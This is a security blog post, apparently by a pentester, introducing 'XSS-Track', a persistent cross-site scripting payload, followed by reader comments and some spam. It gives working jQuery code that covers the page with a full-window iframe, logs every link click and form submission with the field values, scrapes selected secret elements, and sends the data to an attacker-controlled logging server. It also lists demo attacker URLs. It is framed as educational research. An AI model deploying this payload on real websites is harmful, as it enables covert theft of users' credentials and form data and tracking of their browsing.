- deface it,
- steal user's form values
- redirect to form a phishing attack
- look at cookies
- try to send malware through a drive-by download attack
- and many more...
- track user's actions on a vulnerable website (clicks, form submits),
- track outside links,
- monitor pages content and report any interesting HTML elements (e.g. the secret credentials)
Disclaimer
In this post I will present a project for EDUCATIONAL USE ONLY! I'm a white hat, I only hack websites I have permissions to. If you're a pentester and you'd like to use the project presented here in your work, please contact me. If you're a script-kiddie and you'd like to use that for malicious purposes - stay away - I mean it!I will survive!
Having found a XSS vulnerability, we basically run a script on a vulnerable page. But if user navigates away from that page, by e.g. clicking a link, the browser will fetch another page that doesn't have our XSS payload, so the payload "dies". To be able to survive this, our XSS needs to become persistent.What would survive reloading the document in a window? Another window - or en embedding frame. If you have a website that is rendered in <iframe>, clicking the links reloads the iframe, but doesn't touch the embedding content. For example, clicking a facebook "like" button on a website only changes the button to "unlike", because it's embedded in an iframe with src=http://www.facebook.com/whatever.
Iframe used by Facebook |
Stealth mode
But no user is dumb enough to not suspect something when he's given a frame mixed with original page content. So to trick user, it would be best if our iframe took full amount of space (100% width, 100% height), borderless, and all other original content was hidden. In the effect we would have an iframe put on top of the page with target content covering up everything.Sort of like clickjacking, but reverse, as we want the user to SEE the frame instead of everything else (in clickjacking we'd really like user to not see the iframe).
Everything is ready
We now have the framework for invisible persistent XSS. We have one vulnerable page on a website, and we inject there a script that:- hides every visible content (e.g. CSS display: none)
- creates an iframe covering full browser window
- loads any page from the vulnerable domain into the iframe
$('body').children().hide(); $('<iframe>') .css({ position: 'absolute', width: '100%', height: '100%', top: 0, left: 0, border: 0, background: '#fff' }) .attr('src', 'http://example.com') .appendTo('body');The whole setup looks like in the diagram below:
XSS-Track - Step 1: iframe creation |
For the user it looks as if he's browsing the website, but he's browsing our target iframe instead, and the injected script safely runs in a "parent" window. Our payload survives.
Now it's time for the script to actually do something interesting...
On load
As our iframe URL is on the same domain as the page with our script, no same-origin restrictions apply. So we have full access to our iframe DOM, and we can do everything :) To be able to easily hook up our code, we'll use iframe onload event. Everytime the frame reloads (e.g. because user clicks a link or the form is submitted), the onload event fires, so we could perform some actions on each new website page.$('<iframe>').load(function() { // we can do whatever we want: // we have our window this.contentWindow; // and document this.contentDocument; });
Hijacking links & forms
First let's try to hijack all links and forms on the page. We want to watch for (and report) all form inputs and all link clicks on the website. With jQuery goodness this is trivial (I once wrote jQuery hijack plugin that does similar things for website developers convenience):// hijack links and forms $('body',this.contentDocument) .find('a') .click(function() { log({event:'click', 'from': location, 'href': this.href, 'target': this.target}); }) .end() .find('form') .submit(function() { log({event: 'submit', from: location, action: $(this).attr('action') || location, fields: $(this).serialize() }); }) .end();We find every link in newly loaded page, attach to its onclick event, quietly logging it once clicked. Same goes for every form submit (we're logging form input values).
Update: Now in newer browsers, XSS-Track can also capture files that you upload to a monitored site.
Monitoring content
Of course, this is not enough for us. What if we're interested in some secret data displayed on some page after logging in? E.g. some shared secret is displayed to the user and we would like to somehow extract it. Again, jQuery to our rescue. We'll try to find HTML elements using any jQuery selector and, if found, we log it's HTML code.if ($(observeSelector, this.contentDocument).length) { // we found the selector $(observeSelector, this.contentDocument).each(function() { var clone = $(this).clone(); log({event: 'found', selector: observeSelector, from: location, // outerHTML emulation 'content': clone.wrap('<div>').parent().html() }); clone.remove(); }) }
Other features
In supporting browsers,XSS-Track can now sniff WebSockets traffic.Logging and reporting framework
The log function can do (almost) anything. For now, it just tries to report the data to an external server, using AJAX and if this fails (and it will until Cross Domain XHR will come), using external image URL. The logs are gathered by log.php script and are displayed in show.php.function log(what) { what["_"] = Math.random(); // avoid caching try { $.get(logUrl, what); // try with ajax first, // but you might get into // cross domain issues // on older browsers (or IE) } catch (e) { // image var i = new Image(); // encode to avoid adblock plus filters i.src = logUrl + '?' + encodeURIComponent($.param(what)); $(i).load(function() {$(this).remove();}).appendTo('body'); } };The full setup works like this:
XSS-track - Complete set up |
Weak points
- Once a user navigates to external website,we can only know it's URL, but further tracking stops (same origin restrictions prevent us to access iframe document from a different domain)
- Same goes for opening a link in new tab, or using window.open()
The URL address bar never changes (but I have some ideas for this :)- now it is solved in HTML5 browsers
Demonstration
I've set up a simple vulnerable application at http://victim.kotowicz.net/xss-track/vuln/ - just find any XSS vuln and try to inject a http://attacker.kotowicz.net/xss-track/track.js script. The results logged will be available under http://attacker.kotowicz.net/xss-track/show.php. To clear the logs, appendThe vulnerable application has a reflected XSS, so don't bother to try it in MSIE 8+ (or, if you succeed, please let me know ;) ).
The script URL itself accepts parameters that can help you tune it's workings, the full docs are in the source code. For example, you can use http://attacker.kotowicz.net/xss-track/track.js?observe=.secret parameter to look for $('.secret') (elements with HTML class secret) in loaded pages.
Update: For debugging, you can now add debug=1 parameter to script URL - instead of logging to a remote backend it will just console.log() all reports for you.
As always, full code of the vulnerable application and XSS-Track project is available on github repository. Once again, it's for educational use only!
Let me know how do you find this project, either in the comments or privately.
Interesting, I thought something similar. By using the iframe to show that there was an error and a login page... Because passwords are more powerful than sesioncookies.
ReplyDeleteIt works for me on test script on my local domain in Firefox right now, logs shop up in show.php. Try adding ?start= after track.js (i.e. ... src="http://attacker.kotowicz.net/xss-track/track.js?start=[url-here]"> , it will load another URL in the frame. Check with Firebug what's going on.
ReplyDeleteI might be better if you download xss sources from GitHub and try to host the show.php and track.js yourself on your domain, you then have full control and can debug more.
Hi there,
ReplyDeleteYes it actually works now, thank you very much for your help. I will be following your blog closely for future updates and will keep you posted on any bugs/ideas- what a great script!
Mark
Hello there, I was reviewing the software, I was wondering whether this would work without the XSS vulnarability and if you just had a link which when the person clicked it and went to the http://attacker.kotowicz.net/xss-track/track.js page whether you could set it up such that the site clones the URL from the referer header? That way say another attack vector would be a link which is redressed to look like a link to another page on the same site. Is this sound in theory? Greg
ReplyDeleteEdit I suppose that would only work for keylogging though right?
ReplyDeleteCould you write some more about the setup you're trying to test? I have a trouble understanding that. Maybe some proof of concept at pastehtml.com or pastebin.com ? It doesn't look possible without XSS, but I didn't understand the scenario fully.
ReplyDeleteHi sorry, I re-read my post after the fact and also saw that it didn't make sense but found I couldn't edit it.
ReplyDeleteBasically I was thinking of the scenario where the attacker lures a victim to click a link on lets say site A which pretends to just be a link to another page on the same site.
The link actually send the victim to your evilsite.com which takes the referrer address SERVER[referrer], and opens this in an iframe above evilsite.com. So the victim thinks he/she is still on the site A, but we have them within evilsite.com with an iframe of the site A which we can track. I hope I have made this a little clearer, and thank you for answering. Greg
So attacker needs to have control over site A (to plant the evil link) and evilsite (for the tracking code). Plus you need to setup cross domain communication between A and evilsite, and that requires custom JS code on both sites.
ReplyDeleteSince you have control over those two domains, anything is possible, but I don't see any victim site here. In XSS-track the victim needs to have a XSS vulnerability for the attacker to init the tracking and framing. You can't do it otherwise if you don't have control over the victim site.
And - if you have control over the victim site, I don't see any point why would you need the framing etc. since you can track anything without even leaving site A.
~Hi I didn't mean to say that the attacker had control over the victim site, I was thinking more of like a forum type thing where people can post hyperlinks. In any case I think what I am thinking of is man in the middle phishing attacks having read more on the topic. Where the evilsite basically acts as a conduit from where traffic flows and gets recorded.
ReplyDeletealert("XSS")
ReplyDeleteCan also XSS track sniff cross-document messaging between domainA.com and domainB.com (for example)?
ReplyDeleteAwesome blog. I enjoyed reading your articles. This is truly a great read for me. I have bookmarked it and I am looking forward to reading new articles. Keep up the good work! Cancer Awareness Charm
ReplyDeleteThanks for writing such a good article, I stumbled onto your blog and read a few post. I like your style of writing. commercial aircraft financing online
ReplyDeleteNice to be visiting your blog again, it has been months for me. Well this article that i've been waited for so long. I need this article to complete my assignment in the college, and it has same topic with your article. Thanks, great share. 22k Gold Price in Bangladesh Per Vori
ReplyDelete